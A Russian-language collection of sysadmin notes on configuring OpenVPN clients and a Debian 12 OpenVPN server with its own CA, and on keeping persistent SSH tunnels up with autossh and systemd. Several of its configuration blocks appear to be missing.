sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
https://wiki.x2go.org/doku.php
Организуем себе безопасное рабочее место на удаленной виртуалке при помощи x2go
Настройка Ubuntu Linux в качестве терминального сервера x2go
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
Чат в терминале Linux: почти «Матрица» в реальной жизни
делаем vim удобным
рабочий стол в консоли
изменение времени файлов, удаление истории посещения и команд в linux



посмотреть
инструкция по настройке
Инструкция по настройке OpenVPN клиента.
----------------------------------------

   Для доступа к приватной витуальной сети необходимо установить и настроить
клиент OpenVPN: https://openvpn.net/


ВНИМАНИЕ! Пользуйтесь одновременно только одним активным подключением по OpenVPN.
          Если, все же, возникает необходимость одновременно подключаться с двух
          компьютеров (например: десктоп + ноутбук) - запросите для второго 
          компьютера отдельный набор ключей.


Состав архива <имя-пользователя>-openvpn-keys.zip:

  - ca.crt - CA сертификат.
  - <имя-пользователя>.crt - клиентский сертификат.
  - <имя-пользователя>.key - ключ.
  - <имя-пользователя>.ovpn - совмещенная конфигурация, включающая в себя все
                              ключи и сертификаты. Генерируется по запросу и
                              используется, в основном, для мобильных устройств.
    

Настройка клиента OpenVPN.

1. Установите openvpn.

   - Windows:
   
     Скачайте инсталятор (для Windows 7 и позднее) на странице:
     https://openvpn.net/index.php/open-source/downloads.html

   - Linux:

     Для Debian/Ubuntu:
     # apt install openvpn
     
   - MacOS:
   
     # brew install openvpn
     
  
  Подробней об установке openvpn-клиента для своего дистрибутивам можно узнать здесь:
  https://openvpn.net/index.php/open-source/documentation/howto.html
  Официальные инструкции по настройке для мобильных устройств:
  https://openvpn.net/vpn-server-resources/faq-regarding-openvpn-connect-android/
  https://openvpn.net/vpn-server-resources/faq-regarding-openvpn-connect-ios/
  
2. Создать папку:

   /etc/openvpn/keys_имя_сети - для Linux,
   
   или:
   
   C:\Program Files\OpenVPN\config - для Windows
   
   и скопировать в нёё прилагаемые к письму ключи:

     ca.crt
     <user_name>.crt
     <user_name>.crt
  
     где: <user_name> - имя файлов-ключей непосредственно для вашей учетной записи.
     
   Для MacOS нужно поместить ключи в /usr/local/etc/openvpn/
  
3. Отредактировать пример конфигурации клиента, заменив дефолтные значения на перечисленные ниже:
   
   - Linux:
   
     Для Debian/Ubuntu - файл /etc/openvpn/client:

       connection-type=tls 
       remote=ip_адрес
       comp-lzo=yes 
       port=нужный_порт 
       dev-type=tun 
       remote-cert-tls=server 
       cert=/etc/openvpn/keys_имя_сети/<user_name>.crt 
       ca=/etc/openvpn/keys_имя_сети/ca.crt 
       key=/etc/openvpn/keys_имя_сети/<user_name>.key 
       dev=tun 
       proto=udp 
     
     подставив необходимые имена вместо <user_name>.
     Обязательно укажите device = tun и использование компрессии comp-lzo.
     Используется UDP.
     
     В Ubuntu, как правило, параметры указываются через пробел ("dev tun" и тд)
     и может не работать опция "connection-type". Вместо неё следует указать:
     
        tls-client
     
   - Windows:
   
     В операционной системе Windows предлагется импортировать уже готовые настройки (в трее по
     правой кнопке): по факту, это обычный процесс копирования конфигов в папку с настройками
     OpenVPN, но часто БЕЗ требуемых СЕРТИФИКАТОВ. Можно заранее изменить в настройках расположения
     конфигураций, например:

     C:\Program Files\OpenVPN\easy-rsa\client.ovpn:
     
     или после импорта конфига скопировать файлы сертификатов ту же папку (скорей всего, путь:
     С:\Users\<username>\OpenVPN\config).
     
     Сам конфигурационный файл client.ovpn нужно привести к следующему виду, убрав лишние пробелы
     в начале строк:
     
       remote ip_адрес
       comp-lzo yes
       port нужный_порт 
       dev-type tun
       remote-cert-tls server
       cert <user_name>.crt
       ca ca.crt
       key <user_name>.key
       dev tun
       proto udp
       tls-client
       pull 
       auth-nocache
     
     и подставив необходимые имена вместо <user_name>.
     Подробней по настрйоке клиента OpenVPN для Windows можно узнать здесь:
     https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide
     
   - MacOS:
   
     Есть общий файл конфигурации: /Library/LaunchDaemons/homebrew.mxcl.openvpn.plist
     Это  xml, который, можно редактировать: прописать расположение и имя конфигурации для
     пользователя, но можно оставить и по умолчанию, переименовав конфиг в openvpn.conf
     
        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd";>
        <plist version="1.0">
        <dict>
          <key>Label</key>
          <string>homebrew.mxcl.openvpn</string>
          <key>ProgramArguments</key>
          <array>
            <string>/usr/local/opt/openvpn/sbin/openvpn</string>
            <string>--config</string>
            <string>/usr/local/etc/openvpn/openvpn.conf</string>
          </array>
          <key>OnDemand</key>
          <false/>
          <key>RunAtLoad</key>
          <true/>
          <key>TimeOut</key>
          <integer>90</integer>
          <key>WatchPaths</key>
          <array>
            <string>/usr/local/etc/openvpn</string>
          </array>
          <key>WorkingDirectory</key>
          <string>/usr/local/etc/openvpn</string>
        </dict>
        </plist>
     
     Сам конфиг нужно привести к следующему виду, заменив деволтные значения на указанные
     ниже:
     
       client
       tls-client
       remote ip_адрес
       comp-lzo yes
       port нужный_порт 
       dev-type tun
       remote-cert-tls server
       cert /usr/local/etc/openvpn/user_name_2.crt
       ca /usr/local/etc/openvpn/ca.crt
       key /usr/local/etc/openvpn/user_name_2.key
       dev tun
       proto udp
       script-security 2
       up /usr/local/etc/openvpn/update-resolv-conf
       down /usr/local/etc/openvpn/update-resolv-conf
       down-pre
     
4. Запустите OpenVPN клиент.

   - Linux:
     В большинстве linux-дистрибутивов для того, чтобы работал локальный DNS-сервер
     необходимо:
     
     1.1) Если у вас установлена более ранняя версия, чем systemd 229:
        
        # dpkg -l | grep systemd
        
        то необходимо склонировать скрипт с github: https://github.com/masterkorp/openvpn-update-resolv-conf
        и положить все содержимое в папку /etc/openvpn:
        
        # apt install git
        # cd /etc/openvpn
        # git clone https://github.com/alfredopalhares/openvpn-update-resolv-conf.git
        # mv openvpn-update-resolv-conf/* .
        
     1.2) и добавить в конец конфига клиента openvpn (/etc/openvpn/client) следующие строки:
     
        # pushing public DNS, domain
        dhcp-option DNS ip_адрес_dnc_сервера
        # здесь можно так же вписать slave DNS serever - ip_адрес_dns_сервера2
        dhcp-option DOMAIN домен
        setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
        script-security 2
        # setenv opt block-outside-dns
        up /etc/openvpn/update-resolv-conf.sh
        down /etc/openvpn/update-resolv-conf.sh
        down-pre
       
     2.1) Если у вас установлена более новая версия, чем systemd 229:
       
        # dpkg -l | grep systemd
       
        лучше всего (для Linux Mint 19 - необходимо) воспользоваться другим скриптом:
        https://github.com/jonathanio/update-systemd-resolved
        
        # git clone https://github.com/jonathanio/update-systemd-resolved.git
        # cd update-systemd-resolved
        # make
        # systemctl enable systemd-resolved.service
        # systemctl start systemd-resolved.service
        
     2.2) и добавить в конец конфига клиента openvpn (/etc/openvpn/client) следующие строки:
     
        script-security 2
        setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
        up /etc/openvpn/scripts/update-systemd-resolved
        up-restart
        down /etc/openvpn/scripts/update-systemd-resolved
        down-pre
        
        Так же убедитесь, что пакет resolvconf установлен на клиенте, поскольку update-resolv-conf
        сценарий зависит от него. Возможно, так же потребуется отключение собственного dnsmasq NetworkManager.

        /etc/NetworkManager/NetworkManager.conf
        #dns=dnsmasq

        и перезапустите NetworkManager:

        sudo systemctl restart network-manager
     
     3) создать скрипт (например: /etc/openvpn/connect_to_domen_vpn.sh):
     
       #!/bin/bash
       openvpn --client --config /etc/openvpn/client/client --script-security 2
     
     и запускайте при подключении:
     
       # sudo ./etc/openvpn/connect_to_domen_vpn.sh
     
   - Windows:
   
     1) перезагрузить систему, если не появилось новое сетевое устройство (TUN adapter):
        
        Start Menu -> Control Panel -> Network and Sharing Center -> Change Adapter
        Setting -> {adaoter_name}TAP-Windows Adapter -> Connect (по правой кнопке мыши)
        
        или:
        
        Пуск -> Панель Управления -> Сетевые подключения -> Изменить свойства адаптера ...
        
     2) OpenVPN GUI автоматически добавляется в автозагрузку и запустится при перезагрузке
        системы (см. иконку в системном трее). Если вы не совершали перезагрузку, или
        хотите запустить OpenVPN GUI вручную:
        
        Start Menu -> All Programs -> OpenVPN -> OpenVPN GUI
        
        или:
        
        Пуск -> Все программы -> ...
        
   - MacOS:
   
     В Tunnelblick необходимо включить опцию для DNS/WINS "Set nameserver".

     Возможно, как и на Linux, для решения проблем с DNS придется воспользоваться
     скриптом: https://github.com/andrewgdotcom/openvpn-mac-dns
     Параметры конфига "up" и "down" указаны выше (пункт 3), тогда как сам запуск
     производится командой:
     
       # sudo brew services start openvpn
       
     Как и в linux, openvpn прописывается сам для старта при запуске системы, так
     что при следующих стартах системы он запускается автоматически, что можно
     увидеть по ps aux: 

       # /usr/local/opt/openvpn/sbin/openvpn --config /usr/local/etc/openvpn/openvpn.conf
     
     
Troubleshooting:

    В большинстве случаев привденных ваше настроек достаточно, но:
    
    1. Клиент OpenVPN при подключении указывает на возможные ошибки (как для Linux в
       консоли, так и для Windows в окне при подключении). Так же можно открыть log-файл:
       
       - Linux:
       
       /etc/openvpn/log/openvpn-status.log или /var/log

       (может быть отключен по умолчанию и располагаться в других папках, в зависимости от
       используемого дистрибутива)
              
       - Windows:
       
       C:\Users\<имя_пользователя>\OpenVPN\log
       
    2. Вернитесь к пунктам выше и внимательно проверьте корректность имен сертификатов и
       конфиг файлов.

    3. Проверьте состояние тунельного адаптера (tun):
       
       - Linux:

       ip a

       - Windows:

       ipconfig

       Для Linux, скорей всего, может потребоваться запуск от root'а, а для Windows - установка
       необходимых для tun драйверов и права администратора.

    4. Некоторые домашние роутера могут блокировать VPN-траффик. В зависимости от вешей модели
       роутера могут необходимо выполнить некоторые настройки: http://shorturl.at/xBMX3
       Чаще всего это чек-боксы в одном из пунктов настройки безопасности/fierewall.
            

    4. Если вы пользуетесь операционной системой, дистрибутивом, или платформой отличных от
       тех, что перечислены выше, возможно, вы найдете необходимую информацию по ссылке ниже:
       https://openvpn.net/index.php/access-server/section-faq-openvpn-as/client-configuration.html
       
       Вероятно, пользователям Ubuntu (в особенности её fork'ов, таких как Linux Mint)
       так будут полезны следующие ссылки:
     
       http://3d-freedom.ru/questions/297/networkmanager-ne-meniaet-etc-resolv-conf-posle-nazhatiia-knopki-openvpn-dns
       https://forums.linuxmint.com/viewtopic.php?t=225831


OpenVPN объединяем ключи и конфигурацию клиента в один файл
https://interface31.livejournal.com/87234.html
https://dimetrius.net/linux/ethernet-and-vpn/ob-edinenie-konfiga-i-klyuchej-openvpn-v-odin-fajl.html

откроем файл конфигурации клиента и закомментируем в нем строки содержащие пути к ключам и сертификатам (пути даны сугубо условно):

#ca C:\\Users\\Andrey\\OpenVPN\\keys\\ca.crt
#cert C:\\Users\\Andrey\\OpenVPN\\keys\\ivanov.crt
#key C:\\Users\\Andrey\\OpenVPN\\keys\\ivanov.key
Если вы используете TLS-аутентификацию, то дополнительно закомментируйте:

#tls-auth C:\\Users\\Andrey\\OpenVPN\\keys\\ta.key 1
Теперь перейдем в самый конец файла и создадим там несколько секций в которые скопируем содержимое ключей и сертификатов:



В секцию ca мы копируем содержимое корневого сертификата ca.crt, в секцию key - содержимое ключа клиента, а в секцию cert - открытый ключ из его сертификата, обратите внимание, что копируется содержимое начиная от строки BEGIN и заканчивая строкой END включительно, как есть, без каких либо изменений. Открыть сертификаты и ключи можно обычным Блокнотом, либо любым иным текстовым редактором.

Вместо строк
ca ca.crt
cert user1.crt
key user1.key

вставляем следующую конструкцию...



Если вы используете TLS-аутентификацию, то добавьте секцию tls-auth и скопируйте в нее содержимое ключа ta.key:



И добавьте в файл опцию:
key-direction 1

Теперь файл конфигурации можно сохранить и передать на клиентское устройство. А дальше все достаточно просто и практически не требует вмешательства администратора, многие пользователи вполне способны сделать все самостоятельно. Щелкаем правой кнопкой на значок графической оболочки OpenVPN в системном лотке, выбираем Импорт конфигурации и указываем на полученный файл.

пример подключения из консоли в linux:

openvpn --config /etc/openvpn/client/имя_сети.ovpn --config /etc/openvpn/scripts/update-systemd-resolved.conf &> /dev/hull


https://www.howtoforge.com/how-to-install-and-configure-openvpn-server-on-debian-12/

~/client-configs/make_config.sh



cd ~/easy-rsa
./easyrsa gen-req client1 nopass
./easyrsa sign-req client client1
cp ~/easy-rsa/pki/private/client1.key ~/client-configs/keys
cp ~/easy-rsa/pki/issued/client1.crt ~/client-configs/keys
cd ~/client-configs
./make_config.sh client1


OpenVPN юнит systemd
В современных системах с OpenVPN уже есть шаблонный сервис:
openvpn-client@.service

Файл должен лежать в:
/etc/openvpn/client/
И называться:
ИМЯ.conf

systemd-юнит не работает с .ovpn
файл нужно переименовать в .conf
sudo mv /etc/openvpn/client/my_vpn.ovpn /etc/openvpn/client/my_vpn.conf

У тебя:
/etc/openvpn/client/my_vpn.conf
/etc/openvpn/scripts/update-systemd-resolved.conf

И ты хочешь, чтобы запускалось как:
openvpn --config my_vpn.conf --config update-systemd-resolved.conf

Создать override для конкретного инстанса
sudo systemctl edit openvpn-client@my_vpn

Откроется редактор.
В верхней части файла (между строками):
### Anything between here and the comment below will become the new contents of the file
нужно вставить ровно это:



ExecStart= пустая строка — обязательна (она сбрасывает оригинальную)
имя файла должно совпадать с инстансом → у тебя my_vpn, значит my_vpn.conf
%i.conf здесь уже не используется, мы его переопределяем
После сохранения:

sudo systemctl daemon-reload
sudo systemctl restart openvpn-client@my_vpn

Проверить:

systemctl status openvpn-client@my_vpn
systemctl cat openvpn-client@my_vpn

Если всё сделано правильно — в выводе systemctl cat ты увидишь свой override поверх оригинального юнита.

проверка full-tunnel или split-tunnel
Если вдруг оказалось full-tunnel, а нужно split
Значит сервер пушит:
redirect-gateway def1
Чтобы это игнорировать, добавь в my_vpn.conf:
pull-filter ignore redirect-gateway
и перезапусти:
sudo systemctl restart openvpn-client@my_vpn


ip route
посмотри строку вида:
default via 192.168.1.1 dev eth0
или
default via 10.x.x.x dev tun0

Если видишь:
default dev tun0
или
default via ... dev tun0
👉 значит весь трафик идёт через VPN (full-tunnel)
🔎 Если default route остался через твой обычный интерфейс (eth0 / enp3s0 / wlan0)
А в таблице есть только что-то вроде:
10.0.0.0/8 dev tun0
👉 значит работает split-tunnel (только нужные сети через VPN)

Проверка через реальный IP
Без VPN:
curl ifconfig.me
С VPN:
curl ifconfig.me
Если IP изменился → full tunnel
Если IP тот же → split tunnel

ip route get 8.8.8.8
Если покажет:
dev tun0
→ весь интернет через VPN
Если:
dev eth0
→ интернет напрямую

Проверка через resolvectl
В Debian 12 используется systemd-resolved. Выполни:
resolvectl status

Там будут разделы по интерфейсам, например:

Link 7 (tun0)
DNS Servers: 10.0.0.53
DNS Domain: ~corp.local

DNS Servers — сервер, через который идут запросы
DNS Domain с ~ → значит только для этой зоны
Всё остальное идёт через обычный интерфейс
⚠️ Если домен внутренний, например ~corp.local, значит DNS-запросы для host.corp.local будут через VPN.

Проверка реального запроса
Выполни:
dig host.corp.local

Если в выводе указаны IP сервера VPN → резолв через VPN
Если запрос падает или идёт через публичный DNS → значит не настроено
Можно явно указать интерфейс:

dig @10.0.0.53 host.corp.local
где 10.0.0.53 — DNS сервера на tun0.

Проверка с systemd-resolve (альтернатива)
systemd-resolve host.corp.local
В выводе будет интерфейс (tun0) и IP сервера — значит DNS пошёл через VPN.

Если в resolvectl status видишь ~internal.domain → split-DNS настроен
Все запросы к этим доменам идут через VPN, остальные через обычный интернет
Проверка через dig или systemd-resolve подтверждает, что DNS реально работает через VPN

Настройка SSH-тунеля
Есть сервер master с базой данных. Есть другой сервер slave, на котором надо настроить репликацию базы данных. И есть проблема: на сервере master закрыты все порты, кроме 22 (ssh).

Как одно из решений можно сделать тунель по SSH от сервера slave до сервера master, и внутри этого тунеля пересылать пакеты для репликации базы.

В самом простом случае ssh-тунель создается командой:

ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N user@slave.domain

где

  • f - выполнять в фоне.

  • i - путь до ключа, по которому будет происходить авторизация на сервере master.

  • N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы
    какие-то команды - выполнение их пропускается.

  • L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный
    порт 3306 на сервере master.


Используя только эту команду нужно следить за работоспособностью этого ssh-тунеля. Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.



  • M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.

  • o - задание дополнительных опций.

  • L - маппинг портов.

  • i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.

  • N - не выполнять команд при подключении.

  • f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.


Но эту команду придется выполнять всякий раз после перезагрузки системы. Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

  1. Создаем сервис. Для этого создаем файл

    sudo vi /etc/systemd/system/autossh-mysql-tunnel.service

    со следующим содержанием



    Параметр -f можно не использовать, так как systemd не понимает этот параметр.

  2. Перезагружаем systemd, чтобы сервис стал доступен:
    sudo systemctl daemon-reload

  3. Запускаем сервис и помещаем его в автозагрузку:
    sudo systemctl start autossh-mysql-tunnel.service
    sudo systemctl enable autossh-mysql-tunnel.service

  4. Проверить статус можно с помощью команды:
    sudo systemctl status autossh-mysql-tunnel

    В результате, должны получить примерно такой вывод:
    ●  autossh-mysql-tunnel.service - AutoSSH tunnel service for  MySQL on local port 33066
         Loaded: loaded (/etc/systemd/system/autossh-mysql-tunnel.service; enabled; vendor preset: enabled)
         Active: active (running) since Thu 2019-02-28 16:10:49 MSK; 5h 2min ago
       Main PID: 1076 (autossh)
          Tasks: 2
         Memory: 5.6M
            CPU: 5.528s
         CGroup: /system.slice/autossh-mysql-tunnel.service
                 ├─1076 /usr/lib/autossh/autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N user@slave.domain
                 └─1092 /usr/bin/ssh -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N user@slave.domain
    

Полезные ссылки:

  1. StackOverflow

  2. Creating a persistent ssh tunnel in Ubuntu

  3. Start AutoSSH on Boot

  4. Магия SSH

  5. SSH TUNNELLING FOR FUN AND PROFIT: AUTOSSH



Как настроить постоянно работающий SSH-туннель
Иногда в работе над проектами приходится прибегать к уловкам для организации сетевых доступов. В тех случаях, когда согласован SSH с поддержкой перенаправления портов, альтернативным способом организации доступа становится SSH-туннель.

Рассмотрим пример создания такого туннеля с поддержанием работы с помощью systemd.
Представим, что есть два сервера: сервер A (alice.example.com) с IP-адресом 10.0.0.1
и B (bob.example.com) с IP-адресом 10.0.0.2. Задача: пробросить порт 3128/tcp с
сервера B на сервер A для доступа к HTTP-прокси.

Настройка

Перед началом убедитесь, что Port Forwarding разрешён на сервере: включите опцию AllowTcpForwarding. Подробнее об использовании перенаправлении TCP-портов в справке sshd_config(5).

Далее заводим непривилегированного пользователя autossh на обоих серверах. Этот пользователь будет подключаться к серверу B, а там, в свою очередь, аутентифицироваться и перенаправлять порт.

sudo useradd -m -d /home/autossh/ -s /bin/bash autossh

Генерируем пару закрытого и открытого ключей (RSA 4096 бит) на сервере A. В 2019 году 4096 бит достаточно для обеспечения должного уровня безопасности, не опасаясь подбора ключа. Вероятно, если вы читаете эту заметку в будущем, увеличьте размер ключа до 8192 бит или выше. Парольную фразу указывать не нужно.



Копируем текст публичного ключа в файл /home/autossh/.ssh/authorized_keys вручную или с помощью ssh-copy-id(1) на сервер B. Это позволит пользователю autossh аутентифицироваться по нему при подключении.



Проверяем подключение к серверу B. Продолжаем, если всё в порядке.

ssh -i /home/autossh/.ssh/ident/ident@bob.example.com autossh@bob.example.com

Конфигурируем SSH-клиент на сервере A.
# vim /home/autossh/.ssh/config



Создаём systemd-юнит. Обратите внимание на символ @ в названии: после него может быть указан параметр для юнита. Конфигурация шаблонизируется спецификаторами, описанными в документации к systemd.unit.
# sudo vim /usr/lib/systemd/system/autossh@.service



Применяем изменения.

sudo systemctl daemon-reload

Запускаем юнит и добавляем в автозапуск. Имя параметра соответствует названию профиля SSH-клиента в $HOME/.ssh/config.

sudo systemctl start autossh@b-example-com-proxy.service
sudo systemctl enable autossh@b-example-com-proxy.service

Готово. Проверяем перенаправление портов на сервере A.

cat < /dev/null > /dev/tcp/10.0.0.1/3128 && echo OK || echo NOK

Отладить подключение можно либо из-под пользователя autossh, либо добавив -vvv в systemd-юнит. Приведённое выше работает и для LocalForward для перенаправления порта с удалённого сервера на локальный. Легко комбинировать с и другими возможностями SSH, когда в цепочке несколько узлов.

https://github.com/aktos-io/link-with-server
Создание SSH-туннеля. Часть третья
SSH-туннели — пробрасываем порт

OpenVPN

May. 8th, 2018 11:15 pm



OpenVPN Server Debian 12
https://www.howtoforge.com/how-to-install-and-configure-openvpn-server-on-debian-12/

1 Настройка сервера CA на своём компе
sudo apt install easy-rsa
mkdir ~/easy-rsa
ln -s /usr/share/easy-rsa/* ~/easy-rsa/
chmod 700 /home/<имя пользователя>/easy-rsa
cd ~/easy-rsa
./easyrsa инициализация-pki
cd ~/easy-rsa
vim pki/vars

раскомментировать удалив # и заменить на своё



./easyrsa build-ca

Вам будет предложено ввести парольную фразу для вашей пары ключей. Выберите надежный пароль и запишите его на будущее. Далее вам будет предложено ввести парольную фразу PEM. Вам также будет предложено ввести общее имя (CN) вашего центра сертификации. Вы можете ввести любую строку, но для простоты нажмите ENTER, чтобы принять имя по умолчанию.

Если вы не хотите, чтобы вам запрашивали пароль каждый раз при взаимодействии с центром сертификации, вы можете использовать вместо этого следующую команду.

./easyrsa build-ca nopass

Это создаст два файла:
~/easy-rsa/pki/ca.crt — это файл общедоступного сертификата ЦС. Каждому пользователю и серверу OpenVPN потребуется копия этого файла.
~/easy-rsa/pki/private/ca.key — это закрытый ключ, используемый центром сертификации для подписи сертификатов для сервера и клиента OpenVPN.
Если злоумышленник получит доступ к вашему ЦС и, в свою очередь, к вашему файлу ca.key, вам придется уничтожить свой ЦС. Вот почему ваш файл ca.key должен находиться только на вашем компьютере ЦС и что в идеале ваш компьютер ЦС должен оставаться в автономном режиме, когда вы не подписываете запросы на сертификаты, в качестве дополнительной меры безопасности.

2. Установка OpenVPN и Easy-RSA на сервере OpenVPN.
sudo apt install openvpn easy-rsa
mkdir ~/easy-rsa
ln -s /usr/share/easy-rsa/* ~/easy-rsa/
chmod 700 ~/easy-rsa

3. Создание PKI для сервера OpenVPN.
cd ~/easy-rsa
./easyrsa init-pki
vim ~/easy-rsa/pki/vars

Найдите следующие переменные и раскомментируйте их, удалив перед ними решетку (#) и изменив их значения, как показано ниже.



4. Создайте запрос сертификата сервера OpenVPN и закрытый ключ.
cd ~/easy-rsa
./easyrsa gen-req server nopass
sudo cp pki/private/server.key /etc/openvpn/server/

5. Подписание CSR сервера OpenVPN.
scp ~/easy-rsa/pki/reqs/server.req username@your_ca_server_ip:/tmp

Если вы не хотите использовать аутентификацию по паролю, вам нужно будет сгенерировать пару ключей SSH для каждого сервера, а затем добавить открытый ключ SSH сервера OpenVPN в файл авторизованных_ключей компьютера CA и наоборот. Если вы не хотите проходить через все это, вы можете просто скопировать файлы. Откройте файл на сервере OpenVPN, скопируйте его содержимое, затем создайте файл на сервере CA и вставьте его. Снова войдите на сервер CA, перейдите в каталог ~/easy-rsa и импортируйте файл CSR.

cd ~/easy-rsa
./easyrsa import-req /tmp/server.req server
./easyrsa sign-req server server

Вам будет предложено проверить, исходит ли запрос из надежного источника. Введите «yes», затем нажмите клавишу ENTER для подтверждения.
Далее вам будет предложено ввести парольную фразу закрытого ключа CA, которую вы установили ранее.

scp ~/easy-rsa/pki/issued/server.crt username@your_vpn_server_ip:/tmp
scp ~/easy-rsa/pki/ca.crt username@your_vpn_server_ip:/tmp

На вашем сервере OpenVPN скопируйте файлы в каталог /etc/openvpn/server.

sudo cp /tmp/{server.crt,ca.crt} /etc/openvpn/server

6. Настройка криптографического материала OpenVPN.
cd ~/easy-rsa
./easyrsa gen-dh
sudo openvpn --genkey secret ta.key
sudo cp ta.key /etc/openvpn/server
sudo cp pki/dh.pem /etc/openvpn/server

7. Создайте сертификат клиента и пару ключей.
Создайте каталог на своем VPN-сервере для хранения сертификата клиента и файлов ключей.

mkdir -p ~/client-configs/keys
chmod -R 700 ~/client-configs
cd ~/easy-rsa

Создайте ключ клиента с client1 в качестве общего имени клиента. Для клиента можно использовать любой CN.
./easyrsa gen-req client1 nopass
Нажмите ENTER, чтобы подтвердить имя

cp pki/private/client1.key ~/client-configs/keys/

Перенесите файл client1.req на сервер CA.
scp pki/reqs/client1.req username@your_ca_server_ip:/tmp

Снова войдите на сервер CA и импортируйте запрос сервера.
cd ~/easy-rsa
./easyrsa import-req /tmp/client1.req client1
./easyrsa sign-req client client1

При появлении запроса введите «yes», чтобы подтвердить подписание запроса и подтверждение того, что он поступил из надежного источника.
Вам будет предложено ввести парольную фразу CA.
Перенесите созданный сертификат обратно на сервер OpenVPN.

scp pki/issued/client1.crt username@your_server_ip:/tmp

На сервере OpenVPN скопируйте сертификат клиента в каталог ~/client-configs/keys.
cp /tmp/client1.crt ~/client-configs/keys/

sudo cp ~/easy-rsa/ta.key ~/client-configs/keys/
sudo cp /etc/openvpn/server/ca.crt ~/client-configs/keys/
sudo chown username.username ~/client-configs/keys/*

8. Настройте OpenVPN.
sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf /etc/openvpn/server/
sudo vim /etc/openvpn/server/server.conf

Найдите раздел HMAC файла, найдя директиву tls-auth. Закомментируйте строку, добавив точку с запятой (;) в начале строки. Добавьте новую строку под ней, как показано.



закомментировать cipher AES-256-CBC, добавить cipher AES-256-GCM и auth SHA256



Поскольку мы используем криптографию с эллиптической кривой, нам нужно отключить шифрование Диффи-Хеллмана. Закомментируйте строку dh dh2048.pem и добавьте под ней dh none.



После запуска OpenVPN должен работать без каких-либо привилегий. Чтобы включить это, найдите и раскомментируйте строки ;user openvpn и ;group openvpn и измените их, как показано.



Перенаправить весь трафик через VPN
Приведенные выше настройки создают VPN-соединение между клиентом и сервером, но не заставляют какие-либо соединения использовать туннель. Для этого нужно раскомментировать push "redirect-gateway def1 bypass-dhcp"



Найдите раздел опций DHCP. Удалите точку с запятой в начале обеих строк. Это говорит клиенту использовать преобразователи OpenDNS.



Изменить порт и протокол
если есть необходимость, можно заменить порт 1194 на 443



Найдите строку proto udp и закомментируйте ее, поставив перед ней точку с запятой. И раскомментируйте строку proto tcp, удалив точку с запятой, как показано.



Since we are using the TCP protocol, we need to change the value of the explicit-exit-notify directive from 1 to 0, as this directive is only used by UDP.



Укажите нестандартные учетные данные
Если вы ранее выбрали другое имя во время команды сервера ./easy-rsa gen-req, вам необходимо изменить строки сертификата и ключа, чтобы они указывали на соответствующие файлы .crt и .key. Поскольку мы используем имя сервера по умолчанию, значение по умолчанию является правильным.



сделаем читабельной конфигурацию сервера
sed -i -e '/^#/d' server.conf
получится нечто вроде такого



9. Настройте сетевую конфигурацию сервера OpenVPN.
sudo nano /etc/sysctl.conf
Добавьте следующую строку внизу файла.
net.ipv4.ip_forward = 1

Чтобы прочитать файл и загрузить новые значения для текущего сеанса, используйте следующую команду.
sudo sysctl -p
vm.swappiness = 0
net.ipv4.ip_forward = 1

Эта конфигурация будет маршрутизировать весь веб-трафик от вашего клиента через IP-адрес вашего сервера, а общедоступный IP-адрес вашего клиента будет эффективно скрыт.

10 – Настройка брандмауэра.
ip route list default
default via 69.28.90.1 dev ens3 onlink

sudo vim /etc/ufw/before.rules

Эти правила считываются и применяются до загрузки обычных правил UFW. Добавьте следующие строки в начало файла, как показано.



sudo nano /etc/default/ufw

Найдите директиву DEFAULT_FORWARD_POLICY и измените ее значение с DROP на ACCEPT.
DEFAULT_FORWARD_POLICY="ACCEPT"

откройте порт 443, который вы ранее настроили для сервера OpenVPN, или 1194 если не меняли порт
sudo ufw allow 443/tcp

Отключите и включите брандмауэр, чтобы применить новую конфигурацию
sudo ufw disable
sudo ufw enable

11 - Start OpenVPN.
sudo systemctl start openvpn-server@server.service
sudo systemctl status openvpn-server@server.service

12. Создание конфигурации клиента.
mkdir -p ~/client-configs/files
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ~/client-configs/base.conf
vim ~/client-configs/base.conf

Найдите директиву удаленного доступа и установите ее так, чтобы она указывала на общедоступный IP-адрес вашего сервера OpenVPN. Кроме того, измените порт, чтобы он соответствовал порту, который вы выбрали ранее.



Установите протокол, который вы выбрали ранее, раскомментировав его и закомментировав настройку proto udp.



Раскомментируйте директивы пользователя и группы, удалив точку с запятой перед ними. Также измените значения следующим образом.



Найдите директивы ca, cert и key и закомментируйте их, поставив перед ними точку с запятой. Это связано с тем, что мы добавим сертификаты и ключи в файл конфигурации клиента.



Закомментируйте директиву tls-auth, поскольку мы добавим ta.key непосредственно в файл конфигурации клиента.



Соответствуйте настройке шифрования, установленной в файле `/etc/openvpn/server/server.conf. Также добавьте настройку аутентификации внизу файла.



Добавьте директиву key-direction и установите для нее значение 1, чтобы VPN работал правильно.



Затем добавьте несколько закомментированных строк для обработки различных методов, используемых VPN-клиентами для разрешения DNS. Добавьте следующий набор строк для клиентов, которые не используют systemd-resolved, но полагаются на утилиту resolvconf для управления DNS.



Добавьте следующий набор строк для клиентов, которые используют systemd-resolved для разрешения DNS.



сделаем читабельной конфигурацию клиента
sed -i -e '/^#/d' base.conf
получится нечто вроде такого



